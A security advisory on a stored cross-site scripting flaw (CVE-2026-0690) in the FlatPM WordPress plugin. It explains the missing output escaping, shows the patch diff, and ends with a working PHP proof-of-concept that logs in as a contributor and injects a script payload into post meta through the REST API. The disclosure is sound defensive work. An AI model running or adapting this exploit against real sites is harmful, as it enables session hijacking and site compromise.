Atomic Edge analysis of CVE-2026-0690:
The FlatPM WordPress plugin prior to version 3.2.3 contains an authenticated stored cross-site scripting (XSS) vulnerability. The vulnerability exists within the plugin’s shortcode function for retrieving SEO meta descriptions. Attackers with contributor-level or higher permissions can inject malicious scripts that execute when a user views an affected page. The CVSS score of 6.4 reflects the need for authentication but the broad impact of stored XSS.
Atomic Edge research identifies the root cause as insufficient output escaping in the `flat_pm_shortcode_description()` function within `/flatpm-wp/path/functions/flat-shortcode.php`. The vulnerable function retrieves custom post meta values, including the `rank_math_description` field, and returns them without sanitization. The function directly returns the `$output` variable containing unsanitized user-controlled meta values. The code diff shows the vulnerable function from lines 67-103 in the original file.
The exploitation method requires an authenticated attacker with at least contributor-level access to WordPress. The attacker creates or edits a post and injects a malicious JavaScript payload into the `rank_math_description` custom field via the post meta API. This could be achieved through the WordPress REST API (`/wp-json/wp/v2/posts`) or via direct database manipulation plugins. When the FlatPM shortcode renders the description on the front-end, the unsanitized payload executes in the victim’s browser.
The patch in version 3.2.3 adds a call to `sanitize_text_field()` on the final `$output` before returning it. The diff shows the addition of this sanitization function on line 104. The patch also restructures the code to use a loop for meta key checking and adds type casting for the post ID. These changes ensure all meta values retrieved by the function, regardless of which SEO plugin provides them, are sanitized before output.
Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing the compromised page. This can lead to session hijacking, administrative actions performed on behalf of users, defacement, or malware distribution. The stored nature means the payload persists and affects all visitors until removed.
--- a/flatpm-wp/flat_pm.php
+++ b/flatpm-wp/flat_pm.php
@@ -3,7 +3,7 @@
Plugin Name: FlatPM – Ad Manager, AdSense and Custom Code
Plugin URI: https://mehanoid.pro/flat-pm/
Description: Plugin for displaying ads and interactive content. Popups, GEO, referer, browser, OS, ISP, UTM, A/B tests and more <a href="https://t.me/joinchat/+peZspodMlelhZjIy">Our telegram channel</a>
-Version: 3.2.2
+Version: 3.2.3
Author: Mehanoid.pro
Author URI: https://mehanoid.pro/
Text Domain: flatpm_l10n
@@ -16,7 +16,7 @@
define( 'FLATPM_SLUG', dirname( plugin_basename( __FILE__ ) ) );
-define( 'FLATPM_VERSION', '?3.2.2' );
+define( 'FLATPM_VERSION', '?3.2.3' );
define( 'FLATPM_INT_MAX', PHP_INT_MAX - 100 );
define( 'FLATPM_URL', plugin_dir_url( __FILE__ ) );
define( 'FLATPM_DIR', __DIR__ );
--- a/flatpm-wp/path/functions/flat-shortcode.php
+++ b/flatpm-wp/path/functions/flat-shortcode.php
@@ -67,34 +67,41 @@
}
}
-if( !function_exists( 'flat_pm_shortcode_description' ) ){
+if( ! function_exists( 'flat_pm_shortcode_description' ) ){
function flat_pm_shortcode_description(){
$output = '';
+
if( is_singular() ){
- $id = get_queried_object()->ID;
- $_aioseop_title = get_post_meta( $id, '_aioseop_title', true );
- $_yoast_wpseo_metadesc = get_post_meta( $id, '_yoast_wpseo_metadesc', true );
- $rank_math_description = get_post_meta( $id, 'rank_math_description', true );
+ $object = get_queried_object();
- if( $_aioseop_title ){
- $output = $_aioseop_title;
+ if( empty( $object->ID ) ){
+ return '';
}
- if( $_yoast_wpseo_metadesc ){
- $output = $_yoast_wpseo_metadesc;
- }
+ $post_id = (int) $object->ID;
+
+ $meta_keys = array(
+ '_aioseop_title',
+ '_yoast_wpseo_metadesc',
+ 'rank_math_description',
+ );
- if( $rank_math_description ){
- $output = $rank_math_description;
+ foreach( $meta_keys as $meta_key ){
+ $meta_value = get_post_meta( $post_id, $meta_key, true );
+
+ if( ! empty( $meta_value ) ){
+ $output = $meta_value;
+ break;
+ }
}
}else{
- $id = get_queried_object()->term_id;
if( class_exists( 'WPSEO_Frontend' ) ){
- $wpseo_object = WPSEO_Frontend::get_instance();
- $output = sanitize_text_field( $wpseo_object->metadesc( false ) );
+ $wpseo = WPSEO_Frontend::get_instance();
+ $output = $wpseo->metadesc( false );
}
}
- return $output;
+
+ return sanitize_text_field( $output );
}
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0690 - FlatPM – Ad Manager, Adsense and Custom Code <= 3.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Post Meta
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload to inject into the rank_math_description post meta
$xss_payload = '<script>alert("Atomic Edge XSS Test");</script>';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check if login was successful by looking for dashboard elements
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Create a new post via REST API to get a post ID
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array(
'title' => 'Atomic Edge XSS Test Post',
'status' => 'draft',
'content' => 'Post content for testing.',
)));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Accept: application/json'
));
$response = curl_exec($ch);
$post_data = json_decode($response, true);
if (!isset($post_data['id'])) {
die('Failed to create post.');
}
$post_id = $post_data['id'];
// Update the post meta with the malicious rank_math_description value
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts/' . $post_id);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array(
'meta' => array(
'rank_math_description' => $xss_payload
)
)));
$response = curl_exec($ch);
$update_data = json_decode($response, true);
if (isset($update_data['meta']['rank_math_description'])) {
echo 'Payload injected successfully into post ID: ' . $post_id . "n";
echo 'Visit the post to trigger the XSS: ' . $target_url . '/?p=' . $post_id . "n";
} else {
echo 'Payload injection may have failed. Response: ' . $response . "n";
}
curl_close($ch);
?>
